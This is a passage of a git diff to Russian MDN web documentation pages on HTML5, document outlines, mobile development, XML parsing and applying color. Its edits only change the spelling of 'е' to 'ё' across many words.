        • Стилизация: создание изощренных и совершенных тем.
        • +
        • Стилизация: создание изощрённых и совершенных тем.
      {{event("canplaythrough")}}Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остается, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остаётся, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.
      {{event("durationchange")}}
      {{event("progress")}}Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объеме загруженных данных доступна в атрибуте "buffered" элемента медиа.Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объёме загруженных данных доступна в атрибуте "buffered" элемента медиа.
      {{event("ratechange")}}
      {{event("volumechange")}}Отправляется, когда изменяется громкость звука (также когда звук включен или выключен).Отправляется, когда изменяется громкость звука (также когда звук включён или выключен).
      {{event("waiting")}}
      @@ -59,7 +59,7 @@ original_slug: HTML/HTML5
      Server-sent события
      Позволяет серверу отправлять события клиенту, а не по классической парадигме, где сервер может передавать данные только в ответ на запрос клиента.
      WebRTC
      -
      Эта технология, где RTC создает возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.
      +
      Эта технология, где RTC создаёт возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.

      ОФФЛАЙН И ХРАНИЛИЩЕ

      @@ -83,7 +83,7 @@ original_slug: HTML/HTML5
      Использование HTML5 audio и video
      {{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы вставляют и позволяют управлять мультимедиа контентом.
      WebRTC
      -
      Эта технология, где RTC создает возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.
      +
      Эта технология, где RTC создаёт возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.
      Использование Camera API
      Позволяет контролировать, манипулировать и хранить изображения с камеры устройства.
      @@ -132,7 +132,7 @@ original_slug: HTML/HTML5
      Pointer Lock API
      Позволяет блокировать курсор, так чтобы игры и подобные приложения не теряли фокус, когда указатель достигает предела окна.
      Online and offline events
      -
      Для того, чтобы построить хорошую оффлайн-совместимые веб-приложения, вы должны знать, когда ваше приложение без сети. Также, вы должны знать, когда ваше приложение снова вернется в сеть.
      +
      Для того, чтобы построить хорошую оффлайн-совместимые веб-приложения, вы должны знать, когда ваше приложение без сети. Также, вы должны знать, когда ваше приложение снова вернётся в сеть.

      доступ к устройствам

      diff --git a/files/ru/web/guide/html/html5/introduction_to_html5/index.html b/files/ru/web/guide/html/html5/introduction_to_html5/index.html index 64b43c9b8a..85b024ad30 100644 --- a/files/ru/web/guide/html/html5/introduction_to_html5/index.html +++ b/files/ru/web/guide/html/html5/introduction_to_html5/index.html @@ -24,4 +24,4 @@ original_slug: HTML/HTML5/Введение_в_HTML5

      Использование нового HTML5 парсера

      The parsing rule of HTML5, which analyzes the meaning of mark-up, has been more precisely defined in HTML5. Until the introduction of HTML5, only the meaning of valid mark-up was defined, meaning that as soon as one small error was made in the mark-up (most Web sites have at least one), the behavior was undefined. Essentially, it meant that all browsers behaved differently, which is no longer the case. Now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way.

      This requirement helps Web developers quite a bit. While it is true that all modern browsers now use these HTML5 parsing rules, non-HTML5-compliant browsers are still used by some. Keep in mind that it's still highly recommended that one write valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers.

      -

      Не волнуйтесь - вам не придется ничего менять на вашем веб-сайте - разработчики веб-браузерах сделали все для вас!

      +

      Не волнуйтесь - вам не придётся ничего менять на вашем веб-сайте - разработчики веб-браузерах сделали все для вас!

      diff --git a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html index 57fc57b89d..bc5258ab54 100644 --- a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html +++ b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html @@ -14,14 +14,14 @@ translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document ---
      -

      Важно: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрен в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм построения структуры нельзя использовать для передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели степень важности заголовков (h1-h6).

      +

      Важно: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрён в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм построения структуры нельзя использовать для передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели степень важности заголовков (h1-h6).

      Спецификация HTML5 предлагает разработчикам несколько новых элементов, позволяющих описывать структуру веб-документа с помощью стандартной семантики. В настоящей статье описываются эти элементы и способы их использования для создания требуемой структуры любого документа.

      Структура документа в HTML 4

      -

      Структура документа, т. е. семантическая структура контента, заключенного в теги  <body> и </body>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включенными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.

      +

      Структура документа, т. е. семантическая структура контента, заключённого в теги  <body> и </body>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включёнными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.

      Так, следующая разметка:

      @@ -67,16 +67,16 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document

      Какие проблемы решает HTML5

      -

      Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются четкостью, что порождает множество проблем:

      +

      Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются чёткостью, что порождает множество проблем:

        -
      1. Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов class не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не дает точного определения разделу и четких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с реабилитационными технологиями, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.
      2. -
      3. Объединить несколько документов в один непросто: включение подчиненного документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.
      4. +
      5. Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов class не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не даёт точного определения разделу и чётких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с реабилитационными технологиями, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.
      6. +
      7. Объединить несколько документов в один непросто: включение подчинённого документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.
      8. В HTML4 каждый раздел является частью структуры документа. Однако часто документы отличаются сложной, нелинейной структурой. Документ может включать специальные разделы, информация в которых не является частью основного контента, хотя и связана с ним, например, рекламный блок или поясняющая заметка. HTML5 добавляет элемент {{HTMLElement("aside")}}, позволяющий исключить такие разделы из основной структуры.
      9. Опять же, поскольку в HTML4 каждый раздел является частью структуры документа, как быть с разделами, содержащими информацию, касающуюся не конкретного документа, а всего сайта, например, логотипы, оглавления или информация об авторских правах и правовые положения. В HTML5 для этих целей добавлено три новых элемента: {{HTMLElement("nav")}} для наборов ссылок, например, оглавления, {{HTMLElement("footer")}} и {{HTMLElement("header")}} для информации, касающейся всего сайта. Обратите внимание, что {{HTMLElement("header")}} и {{HTMLElement("footer")}} не создают разделы как {{HTMLElement("section")}}, а, скорее, обеспечивают семантическую разметку частей раздела.
      -

      В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что дает браузерам возможность более качественно обслуживать пользователей.

      +

      В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что даёт браузерам возможность более качественно обслуживать пользователей.

      Алгоритм создания структуры HTML5

      @@ -106,7 +106,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document   <p>(c) 2010 The Example company</p> </footer> -

      Данный фрагмент HTML задает раздел верхнего уровня:

      +

      Данный фрагмент HTML задаёт раздел верхнего уровня:

      <section>
         <h1>Лесные слоны</h1>
      @@ -159,9 +159,9 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
       
       

      Задание заголовков в HTML5

      -

      Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задает заголовок текущего раздела.

      +

      Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задаёт заголовок текущего раздела.

      -

      Элемент заголовка имеет определенную степень важности, определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет максимальную степень важности, а {{HTMLElement("h6")}} минимальную. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:

      +

      Элемент заголовка имеет определённую степень важности, определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет максимальную степень важности, а {{HTMLElement("h6")}} минимальную. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:

      <section>
         <h1>Лесные слоны</h1>
      @@ -248,10 +248,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
       

      приводит к следующей структуре:

      1. Млекопитающие
      -   1.1 Киты (неявно задается элементом h2)
      -   1.2 Лесные слоны (явным образом задается элементом раздела)
      -   1.3 Монгольская песчанка (неявно задается элементом h3, который одновременно закрывает предыдущий раздел)
      -2. Рептилии (неявно задается элементом h2, который одновременно закрывает предыдущий раздел)
      +   1.1 Киты (неявно задаётся элементом h2)
      +   1.2 Лесные слоны (явным образом задаётся элементом раздела)
      +   1.3 Монгольская песчанка (неявно задаётся элементом h3, который одновременно закрывает предыдущий раздел)
      +2. Рептилии (неявно задаётся элементом h2, который одновременно закрывает предыдущий раздел)
       

      Эта не та структура, которую можно было бы ожидать, бегло просмотрев теги заголовков. Чтобы разметка стала понятна человеку, а также чтобы степень важности заголовка соответствовала уровню вложенности раздела, рекомендуется использовать наглядные теги для открытия и закрытия разделов. Однако спецификация HTML5 этого не требует. Поэтому, если браузеры отображают структуру документа не так, как ожидалось, проверьте, нет ли в документе разделов, не явно закрытых элементами заголовков.

      @@ -260,7 +260,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document

      Корни задания разделов

      -

       Корень задания разделов – это элемент HTML, который может иметь собственную структуру, однако входящие в нее разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.

      +

       Корень задания разделов – это элемент HTML, который может иметь собственную структуру, однако входящие в неё разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.

      Например:

      @@ -272,10 +272,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document   </section>   <section>     <h2>Среда обитания</h2> -    <p>Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят ученые в «<cite>Лесной слон на Борнео</cite>»:</p> +    <p>Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят учёные в «<cite>Лесной слон на Борнео</cite>»:</p>     <blockquote>        <h1>Борнео</h1> -       <p>Лесной слон живет на Борнео...</p> +       <p>Лесной слон живёт на Борнео...</p>     </blockquote>   </section> </section> @@ -294,8 +294,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document

       HTML5 вводит два новых элемента, позволяющих задавать разделы, не входящие в основную структуру веб-документа:

        -
      1. Элемент вспомогательного раздела {{HTMLElement("aside")}} задает раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.
      2. -
      3. Элемент навигационного раздела {{HTMLElement("nav")}} задает раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.
      4. +
      5. Элемент вспомогательного раздела {{HTMLElement("aside")}} задаёт раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.
      6. +
      7. Элемент навигационного раздела {{HTMLElement("nav")}} задаёт раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.

      Шапки и подвалы

      @@ -303,8 +303,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document

      HTML5 также добавляет два новых элемента, которые могут использоваться для разметки верхнего и нижнего колонтитулов страниц:

        -
      1. Элемент шапки {{HTMLElement("header")}} задает шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.
      2. -
      3. Элемент подвала ({{HTMLElement("footer")}}) задает нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.
      4. +
      5. Элемент шапки {{HTMLElement("header")}} задаёт шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.
      6. +
      7. Элемент подвала ({{HTMLElement("footer")}}) задаёт нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.

      Эти элементы не создают новые разделы в структуре, а скорее используются для разметки контента внутри разделов страницы.

      @@ -313,7 +313,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document

      Автор документа часто хочет опубликовать свою контактную информацию, например, имя и адрес. HTML4 позволял сделать это с помощью элемента {{HTMLElement("address")}}, расширенного в HTML5.

      -

      Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создается не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.

      +

      Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создаётся не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.

      Использование элементов HTML5 в браузерах, не поддерживающих HTML5

      @@ -341,7 +341,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document   </script> <![endif]-->
      -

      Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включенной поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержка скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:

      +

      Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включённой поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержка скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:

      <noscript>
          <strong>Внимание!</strong>
      diff --git a/files/ru/web/guide/index.html b/files/ru/web/guide/index.html
      index d2776aed12..a782bc47e9 100644
      --- a/files/ru/web/guide/index.html
      +++ b/files/ru/web/guide/index.html
      @@ -56,7 +56,7 @@ translation_of: Web/Guide
        
      Использование объектов FormData
      Объект FormData позволяет создать набор пар ключ/значение и передать их, используя XMLHttpRequest. Объект FormData предназначен для передачи данных форм, однако может быть использован для передачи пар ключ/значение независимо от форм. Данные передаются в том же формате, как и данные, передаваемые методом {{domxref("HTMLFormElement.submit","submit()")}} формы, с установленной кодировкой enctype="multipart/form-data".
      Пользовательский ввод и управление
      -
      Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.
      +
      Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдёте соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.
      Словарь (глоссарий терминов)
      Определения и аббревиатуры в мире Web и Internet.
      diff --git a/files/ru/web/guide/mobile/index.html b/files/ru/web/guide/mobile/index.html index 149b851884..7279b9cc30 100644 --- a/files/ru/web/guide/mobile/index.html +++ b/files/ru/web/guide/mobile/index.html @@ -7,7 +7,7 @@ translation_of: Web/Guide/Mobile ---

      На этой странице даётся обзор основных методов разработки веб-сайтов, корректно работающих на мобильных устройствах. Если вы ищете информацию о проекте Firefox OS от Mozilla, смотрите страницу Firefox OS. Возможно вас также интересует подробная информация о  Firefox для Android.

      -

      Статья разбита на два раздела: разработка под мобильные устройства и кросс-браузерная совместимость.
      +

      Статья разбита на два раздела: разработка под мобильные устройства и кросс-браузерная совместимость.
      См. также руководство от Jason Grlicky по дружелюбность-к-мобильным для веб-разработчиков.

      Разработка под мобильные устройства

      @@ -41,7 +41,7 @@ translation_of: Web/Guide/Mobile

      Наконец, вы можете воспользоваться преимуществом новых возможностей, предлагаемых мобильными устройствами, такие как orientation и geolocation.

      -

      Кросс-браузерная верстка

      +

      Кросс-браузерная вёрстка

      Пишите кросс-браузерный код

      @@ -50,7 +50,7 @@ translation_of: Web/Guide/Mobile
      • Старайтесь избегать использования стилей, специфических для браузеров, таких как свойства CSS с вендорными префиксами.
      • Если всё же вам необходимо ими воспользоваться, убедитесь что другие браузеры применяют свои собственные версии этих свойств, и укажите их.
      • -
      • Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощенный вариант.
      • +
      • Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощённый вариант.

      Например, если вы указываете градиент в качестве фона для какого-либо текста, используя стиль с вендорным префиксом типа -webkit-linear-gradient, правильнее включить другие варианты с вендор-специфическими префиксами для свойства linear-gradient. Если вы этого не делаете, по крайней мере удостоверьтесь, что фон, отображаемый по умолчанию, контрастирует с текстом: тогда страница, по крайней мере, будет корректно отображаться в браузере, который не воспринимает ваше linear-gradient правило.

      diff --git a/files/ru/web/guide/parsing_and_serializing_xml/index.html b/files/ru/web/guide/parsing_and_serializing_xml/index.html index a99fe9cd84..5304905afc 100644 --- a/files/ru/web/guide/parsing_and_serializing_xml/index.html +++ b/files/ru/web/guide/parsing_and_serializing_xml/index.html @@ -27,11 +27,11 @@ translation_of: Web/Guide/Parsing_and_serializing_XML
      {{domxref("XMLSerializer")}}
      Сериализует деревья DOM, преобразуя их в строки, содержащие XML.
      {{domxref("DOMParser")}}
      -
      Создает дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.
      +
      Создаёт дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.
      {{domxref("XMLHttpRequest")}}
      Загружает контент из URL-адреса; Содержимое XML возвращается как объект XML {{domxref ("Document")}} с деревом DOM, построенным из самого XML.
      XPath
      -
      Технология создания строк, содержащих адреса для определенных частей документа XML, и поиска узлов XML на основе этих адресов.
      +
      Технология создания строк, содержащих адреса для определённых частей документа XML, и поиска узлов XML на основе этих адресов.

      Создание XML-документа

      @@ -69,9 +69,9 @@ xhr.responseType = "document"; xhr.send();
      -

      Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путем синтаксического анализа XML.

      +

      Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путём синтаксического анализа XML.

      -

      Если документ представляет собой {{Glossary ("HTML")}}, приведенный выше код вернет {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.

      +

      Если документ представляет собой {{Glossary ("HTML")}}, приведённый выше код вернёт {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.

      Примечание: на самом деле существует интерфейс {{domxref ("HTMLDocument")}}, но это не обязательно независимый тип. В некоторых браузерах это так, а в других это просто псевдоним для интерфейса документа.

      @@ -94,7 +94,7 @@ var sXML = oSerializer.serializeToString(doc);

      Serializing HTML documents

      -

      Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать ее с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.

      +

      Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать её с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.

      var docHTML = document.documentElement.innerHTML;
       
      diff --git a/files/ru/web/guide/user_input_methods/index.html b/files/ru/web/guide/user_input_methods/index.html index 945fbc3269..ed2af4c050 100644 --- a/files/ru/web/guide/user_input_methods/index.html +++ b/files/ru/web/guide/user_input_methods/index.html @@ -12,7 +12,7 @@ translation_of: Web/Guide/User_input_methods ---

      Это руководство содержит рекомендации по обработке пользовательского ввода - и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий. + и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдёте соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий. Связанные интерфейсы API и события: события касаний, интерфейс отслеживания указателя мыши, интерфейс ориентации экрана, интерфейс режима "на весь экран", перетаскивание и сброс и т. д.

      diff --git a/files/ru/web/html/applying_color/index.html b/files/ru/web/html/applying_color/index.html index 0ff6dd3410..1815d66f34 100644 --- a/files/ru/web/html/applying_color/index.html +++ b/files/ru/web/html/applying_color/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTML/Applying_color
      {{HTMLRef}}
      -

      Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом еще до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью CSS, существует множество способов присвоить цвет HTML элементам, чтобы придать им желаемый вид. Эта статья дает базовые представления о всех способах применения цвета к HTML элементам с помощью CSS.

      +

      Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом ещё до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью CSS, существует множество способов присвоить цвет HTML элементам, чтобы придать им желаемый вид. Эта статья даёт базовые представления о всех способах применения цвета к HTML элементам с помощью CSS.

      К счастью, присвоить цвет к HTML элементу очень просто, и это можно сделать практически со всеми элементами.

      @@ -27,7 +27,7 @@ translation_of: Web/HTML/Applying_color
      {{cssxref("color")}}
      -
      Свойство color применяется к тексту и любому оформлению текста, например: подчеркивание, линии на текстом, перечеркивание и т.д.
      +
      Свойство color применяется к тексту и любому оформлению текста, например: подчёркивание, линии на текстом, перечёркивание и т.д.
      {{cssxref("background-color")}}
      Цвет фона текста.
      {{cssxref("text-shadow")}}
      @@ -36,7 +36,7 @@ translation_of: Web/HTML/Applying_color
      {{cssxref("text-decoration-color")}}
      -

      По умолчанию, элементы оформление текста (подчеркивание, перечеркивание) используют цвет свойства color. Но вы можете присвоить другой цвет с помощью свойства text-decoration-color.

      +

      По умолчанию, элементы оформление текста (подчёркивание, перечёркивание) используют цвет свойства color. Но вы можете присвоить другой цвет с помощью свойства text-decoration-color.

      {{cssxref("text-emphasis-color")}}
      @@ -71,7 +71,7 @@ translation_of: Web/HTML/Applying_color
      {{cssxref("border-color")}}
      -
      Задает единый цвет для всех сторон границы элемента.
      +
      Задаёт единый цвет для всех сторон границы элемента.
      {{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}
      Позволяет установить цвет соответствующей стороне границы элемента: border-left-color - левая граница, border-right-color - правая, border-top-color - верхняя, border-bottom-color - нижняя.
      {{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}
      @@ -80,7 +80,7 @@ translation_of: Web/HTML/Applying_color
      Эти свойства определяют цвет границы, расположенной ближе всего к началу и концу текста в блоке. Сторона начала и конца зависит от свойств {{cssxref("writing-mode")}}, {{cssxref("direction")}} и {{cssxref("text-orientation")}}, которые обычно (но не всегда) используются для настройки направления текста. Например, если текст отображается справа налево, то border-inline-start-color применяется к правой стороне границы.
      -

      Как можно еще использовать цвет

      +

      Как можно ещё использовать цвет

      CSS не единственная web-технология, которая поддерживает цвет.

      @@ -89,7 +89,7 @@ translation_of: Web/HTML/Applying_color
      Позволяет создавать растровую 2D-графику в элементе {{HTMLElement("canvas")}}. См. Canvas tutorial, чтобы узнать больше.
      SVG (Scalable Vector Graphics - Масштабируемая Векторная Графика)
      -

      Позволяет создавать изображения с помощью команд, которые рисуют определенные фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.

      +

